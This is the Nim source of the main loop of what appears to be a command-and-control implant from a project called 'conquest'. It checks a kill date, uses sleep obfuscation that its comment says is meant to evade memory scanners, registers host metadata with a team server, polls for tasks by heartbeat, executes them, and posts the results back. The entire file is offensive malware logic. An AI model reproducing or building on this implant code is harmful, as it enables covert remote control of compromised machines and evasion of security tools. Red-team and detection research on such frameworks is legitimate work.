Files
conquest/src/agent/main.nim
2025-10-28 21:01:10 +01:00

81 lines
3.0 KiB
Nim

import strformat, os, times, system, base64, random
import core/[http, context, sleepmask, exit]
import utils/io
import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto]
proc main() =
randomize()
# Initialize agent context
var ctx = AgentCtx.init()
if ctx == nil:
quit(0)
#[
Agent routine:
1. Check kill date
2. Sleep Obfuscation
3. Register to the team server if not already connected
4. Retrieve tasks via checkin request to a GET endpoint
5. Execute task and post result
6. If additional tasks have been fetched, go to 3.
7. If no more tasks need to be executed, go to 1.
]#
while true:
try:
# Check kill date and exit the agent process if it is already passed
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
print "[*] Exiting."
exit()
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Register
if not ctx.registered:
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
continue
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in."
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = ctx.createHeartbeat()
let
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0:
print "[*] No tasks to execute."
continue
let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0:
print "[*] No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server
for task in tasks:
var result: TaskResult = ctx.handleTask(task)
let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
ctx.httpPost(resultBytes)
except CatchableError as err:
print "[-] ", err.msg
when isMainModule:
main()